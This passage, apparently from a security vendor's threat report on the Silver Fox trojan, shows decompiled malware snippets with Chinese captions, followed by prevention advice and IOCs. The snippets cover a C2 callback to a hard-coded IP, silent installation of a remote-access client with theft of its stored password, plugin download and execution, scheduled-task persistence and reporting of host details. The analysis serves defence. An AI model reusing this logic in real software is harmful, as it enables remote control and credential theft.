      ft->u1.Function = (ULONG_PTR)xGetProcAddress(inst, dll, ibn->Name, 0);
    }

  根据节区标志动态设置内存保护属性

for (i = 0; i < ntc.FileHeader.NumberOfSections; i++)
{
  BOOL isRead = (shcp[i].Characteristics & IMAGE_SCN_MEM_READ) ? TRUE : FALSE;
  BOOL isWrite = (shcp[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? TRUE : FALSE;
  BOOL isExecute = (shcp[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) ? TRUE : FALSE;

  if (isWrite & isExecute)
    continue;
  else if (isRead & isExecute)
      newprot = PAGE_EXECUTE_READ;
  else if (isRead & isWrite & !isExecute)
  {
    if (inst->decoy[0] == 0)
      newprot = PAGE_WRITECOPY;
    else
      newprot = PAGE_READWRITE;
  }
  else if (!isRead & !isWrite & isExecute)
      newprot = PAGE_EXECUTE;
  else if (isRead & !isWrite & !isExecute)
      newprot = PAGE_READONLY;

  baseAddress = (PBYTE)cs + shcp[i].VirtualAddress;

  if (i < (ntc.FileHeader.NumberOfSections - 1))
    numBytes = ((PBYTE)cs + shcp[i+1].VirtualAddress) - ((PBYTE)cs + shcp[i].VirtualAddress);
  else
    numBytes = shcp[i].SizeOfRawData;

  oldprot = 0;

  DPRINT("Section name: %s", shcp[i].Name);
  DPRINT("Section offset: 0x%X", shcp[i].VirtualAddress);
  DPRINT("Section absolute address: 0x%p", baseAddress);
  DPRINT("Section size: 0x%llX", numBytes);
  DPRINT("Section protections: 0x%X", newprot);

  if (!(inst->api.VirtualProtect(baseAddress, numBytes, newprot, &oldprot)))
    DPRINT("VirtualProtect failed: %d", inst->api.GetLastError());
}

  获取银狐木马入口点地址,并执行

if(mod->type == DONUT_MODULE_DLL) {
  DllMain = RVA2VA(DllMain_t, cs, ntc.OptionalHeader.AddressOfEntryPoint);
  DPRINT("Executing entrypoint of DLL: %p", (PVOID)DllMain);
  DPRINT("HINSTANCE: %p\n\n", (PVOID)cs);
  DllMain(cs, DLL_PROCESS_ATTACH, NULL);

  银狐木马运行后会根据硬编码的IP与自身权限级别生成一个互斥体,防止多开

TokenHandle = 0i64;
CurrentProcess = GetCurrentProcess();
if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
{
  ReturnLength = 0;
  if ( GetTokenInformation(TokenHandle, TokenElevationType, &TokenInformation, 4u, &ReturnLength) )
  {
    v6 = "Unknown";
    switch ( TokenInformation )
    {
      case 1:
        v6 = "User";
        break;
      case 2:
        v6 = "Administrator";
        break;
      case 3:
        v6 = "Limited";
        break;
    }
    memset(v19, 0, sizeof(v19));
    Base64Encode_sub_140001140(v19, (__int64)v6, strlen(v6));
    memset(Name, 0, sizeof(Name));
    sprintf_s(Name, 0x100ui64, "Global\\%s_%s", "43.154.160.177", v19);
    MutexA = CreateMutexA(0i64, 0, Name);

  创建线程执行回连获取后续指令

{
  Parameter[0] = unk_140037C40;
  Parameter[1] = *(_OWORD *)"77";
  Parameter[2] = xmmword_140037C60;
  Parameter[3] = xmmword_140037C70;
  Parameter[4] = xmmword_140037C80;
  *(_QWORD *)&Parameter[5] = qword_140037C90;
}
do
{
  byte_140039135 = 0;
  byte_140039134 = 0;
  Thread = CreateThread(0i64, 0i64, (LPTHREAD_START_ROUTINE)StartAddress, Parameter, 0, 0i64);
  WaitForSingleObject(Thread, 0xFFFFFFFF);

  回连C243.154.160.177:8081

image

  启用或禁用系统关机权限

LibraryA = LoadLibraryA("ADVAPI32.dll");
OpenProcessToken = GetProcAddress(LibraryA, "OpenProcessToken");
AdjustTokenPrivileges = GetProcAddress(LibraryA, "AdjustTokenPrivileges");
LookupPrivilegeValueA = GetProcAddress(LibraryA, "LookupPrivilegeValueA");
v6 = LoadLibraryA("kernel32.dll");
GetCurrentProcess = GetProcAddress(v6, "GetCurrentProcess");
_GetCurrentProcess = GetCurrentProcess();
result = ((__int64 (__fastcall *)(__int64, __int64, HANDLE *))OpenProcessToken)(_GetCurrentProcess, 40i64, &hObject);
if ( (_DWORD)result )
{
  v14 = 1;
  v16 = a1 != 0 ? 2 : 0;
  ((void (__fastcall *)(_QWORD, const char *, char *))LookupPrivilegeValueA)(0i64, "SeShutdownPrivilege", v15);
  ((void (__fastcall *)(HANDLE, _QWORD, int *, __int64, _QWORD, _QWORD))AdjustTokenPrivileges)(
    hObject,
    0i64,
    &v14,
    16i64,
    0i64,
    0i64);
  v10 = LoadLibraryA("KERNEL32.dll");
  v11 = (unsigned int (*)(void))GetProcAddress(v10, "GetLastError");
  v12 = v11() == 0;
  CloseHandle(hObject);
  if ( LibraryA )
    FreeLibrary(LibraryA);
  if ( v6 )
    FreeLibrary(v6);
  return v12;
}
return result;

  对系统进行关机操作

sub_1400027E0(1);                         // 启用系统关机权限
ExitWindowsEx(*(unsigned __int8 *)(a2 + 1), 0);// 通过参数进行关机操作
sub_1400027E0(0);                         // 禁用系统关机权限

  添加注册表项

case 3:
  sub_140007600("Remark", a2 + 1);          // 添加Remark注册表,内容为传的参数"a2 + 1"
  break;
case 4:
  sub_140007600("Group", a2 + 1);

  内存加载回传的DLL文件,并调用导出函数

v2 = (void *)MyPeLoad_sub_140007230(*(void **)(a1 + 8));
j_j_free(*(void **)(a1 + 8));
if ( v2 )
{
  v3 = (void (__fastcall *)(__int64, _QWORD))MyGetProcAddress_sub_140007430(v2, "base");
  if ( v3 )
    v3(a1 + 20, *(unsigned int *)(a1 + 16));
  MyFreeLibrary_sub_140007540(v2);
}

  查找进程中是否存在向日葵客户端,不存在则静默部署

while ( !(unsigned int)MyFindProcessName_sub_1400024F0("xrk.exe") )
{
  *(_OWORD *)FileName = *(_OWORD *)a2;
  v53 = *(_OWORD *)(a2 + 16);
  v54 = *(_OWORD *)(a2 + 32);
  v55 = *(_OWORD *)(a2 + 48);
  v56 = *(_OWORD *)(a2 + 64);
  v57 = *(_OWORD *)(a2 + 80);
  v58 = *(_DWORD *)(a2 + 96);
  v59 = *(_BYTE *)(a2 + 100);
  FileA = CreateFileA(&FileName[1], 0x40000000u, 1u, 0i64, 2u, 0, 0i64);
  v18 = FileA;
  if ( FileA == (HANDLE)-1i64 || !WriteFile(FileA, (LPCVOID)(a2 + 101), a3 - 101, &NumberOfBytesWritten, 0i64) )
    return;
  CloseHandle(v18);
  ShellExecuteA(0i64, "open", &FileName[1], 0i64, 0i64, 0);
  do
    WindowA = FindWindowA("#32770", &WindowName);
  while ( !WindowA );
  ShowWindow(WindowA, 0);
  Sleep(0xFA0u);
}

  读取向日葵客户端配置文件中的用户名和密码并回传至服务器

GetPrivateProfileStringA("base", "fastcode", &Default, ReturnedString, 0x104u, v20);
v21 = (const CHAR *)lpFileName;
if ( v29 >= 0x10 )
  v21 = lpFileName[0];
GetPrivateProfileStringA("base", "password", &Default, String2, 0x104u, v21);
v22 = LocalAlloc(0x40u, 0xC9ui64);
*v22 = -39;
lstrcpyA(String1, ReturnedString);
lstrcpyA(v61, String2);
memmove(v22 + 1, String1, 0xC8ui64);

  加载下发的插件

GetTempPathA(0x104u, Buffer);
strcpy(Format, "Plugin32.exe");
TickCount = GetTickCount();
sprintf(String2, Format, TickCount);
lstrcatA(Buffer, String2);
FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0i64, 2u, 0x80u, 0i64);
if ( FileA != (HANDLE)-1i64 )
{
  WriteFile(FileA, &a2[strlen(a2) + 1], a3 - strlen(a2) - 1, &NumberOfBytesWritten, 0i64);
  CloseHandle(FileA);
  sprintf(Parameters, "-connect %s:1111", (const char *)(a1 + 36));
  strcpy(Operation, "open");
  ShellExecuteA(0i64, Operation, Buffer, Parameters, 0i64, 0);
}
return 0i64;

  使用COM调用put_Path方法,将当前执行的程序路径设置为计划任务运行路径

GetModuleFileNameA(0i64, Filename, 0x104u);
v8 = (volatile signed __int32 *)operator new(0x18ui64);
v9 = v8;
if ( v8 )
{
  *((_QWORD *)v8 + 1) = 0i64;
  *((_DWORD *)v8 + 4) = 1;
  *(_QWORD *)v8 = ToUnicode_sub_14001EA60(Filename);
}
else
{
  v9 = 0i64;
}
v40 = v9;
if ( !v9 )
  sub_14001EA50(2147942414i64);
(*(void (__fastcall **)(__int64, _QWORD))(*(_QWORD *)IExecAction + offsetof(IExecAction, put_Path)))(v22, *(_QWORD *)v9);

  使用COM调用RegisterTaskDefinition方法,创建名为sysmt64的计划任务

{
  *((_QWORD *)v11 + 1) = 0i64;
  *((_DWORD *)v11 + 4) = 1;
  *(_QWORD *)v11 = ToUnicode_sub_14001EA60("sysmt64");
}
else
{
  v12 = 0i64;
}
v33 = v12;
if ( !v12 )
  sub_14001EA50(2147942414i64);
v13 = (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, __int64, VARIANTARG *, VARIANTARG *, int, VARIANTARG *, char *))(*(_QWORD *)ITaskFolder 
                                                                                                                            + offsetof(ITaskFolder, RegisterTaskDefinition)))(
        v23,
        *(_QWORD *)v12, //sysmt64
        v16,
        6i64,   //TASK_CREATE_OR_UPDATE
        &v46,
        &v47,
        3,
        &v45,
        v34);

  结束multitip.exe进程

if ( Process32First(Toolhelp32Snapshot, v3) )
{
  if ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
  {
    if ( !Process32Next(Toolhelp32Snapshot, v4) )
      goto LABEL_9;
    while ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
    {
      if ( !Process32Next(Toolhelp32Snapshot, v4) )
        goto LABEL_9;
    }
  }
  th32ProcessID = v4->th32ProcessID;
}
L_9:
CloseHandle(Toolhelp32Snapshot);
j_free(v4);
if ( th32ProcessID )
{
  v5 = OpenProcess(0x1FFFFFu, 0, th32ProcessID);
  if ( v5 )
    TerminateProcess(v5, 0);
}

  将当前时间、用户名、当前进程是否管理员运行、运行进程的路径、以及通过WMI查询到的杀毒软件名称等信息通过心跳包的形式发送至C2

v17 = -2i64;
memset(String1, 0, 0x307ui64);
v20 = -56;
lstrcatA(String1, (LPCSTR)(a1 + 224));
LODWORD(nSize) = 50;
v6 = CreatComputerNameReg_sub_1400076E0((__int64)"Remark");
if ( strlen(v6) )
  strncpy(&String1[130], v6, 0x32ui64);
else
  GetComputerNameA(&String1[130], (LPDWORD)&nSize);
*(_DWORD *)&String1[231] = GetCurrentProcessId();
*(_DWORD *)&String1[755] = a2;
String1[491] = IsAdmin_sub_140002FF0();
v19 = 15i64;
Source[2] = 0i64;
LOBYTE(Source[0]) = 0;
sub_140004820(Source, (void *)&Default, 0i64);
if ( CoInitializeEx(0i64, 0) >= 0 )
  FindAVName_sub_140002AB0(Source);
v7 = (const char *)Source;
if ( v19 >= 0x10 )
  v7 = Source[0];
strncpy_s(&String1[299], 0x80ui64, v7, 0x7Fui64);
v8 = CreatComputerNameReg_sub_1400076E0((__int64)"Time");
if ( !lstrlenA(v8) )
{
  time64(&nSize);
  v9 = localtime64(&nSize);
  wsprintfA(
    v8,
    "%d-%d-%d %d:%d",
    (unsigned int)(v9->tm_year + 1900),
    (unsigned int)(v9->tm_mon + 1),
    v9->tm_mday,
    v9->tm_hour,
    v9->tm_min);
  sub_140007600((__int64)"Time", v8);
}
strncpy_s(&String1[235], 0x40ui64, v8, 0x3Fui64);
if ( strlen(CreatComputerNameReg_sub_1400076E0((__int64)"Group")) )
  v10 = CreatComputerNameReg_sub_1400076E0((__int64)"Group");
else
  v10 = (CHAR *)(a3 + 23);
strncpy_s(&String1[427], 0x40ui64, v10, 0x3Fui64);
v16 = 50;
strcpy(ProcName, "GetUserNameA");
strcpy(LibFileName, "Advapi32.dll");
LibraryA = LoadLibraryA(LibFileName);
GetUserNameA = GetProcAddress(LibraryA, ProcName);
((void (__fastcall *)(CHAR *, int *))GetUserNameA)(&String1[180], &v16);

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

image

image

总结

  银狐木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    f498657f7861d03bd65ac3c6f1e987a6
    1a65b67cdf9da962b055e595ee8aa1fb
    ec1e1c2e7f48a66476f7ed30b6cb0442
    da2bc388dda706f882e3ad5944a92475
    c9a04270048489f8130aab409c9d90e0
  • Domain

    downloder.bj.bcebos.com
  • IPV4

    43.154.160.177
  • 瑞星病毒名

    Backdoor.SilverFox!1.12E40

参考链接

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *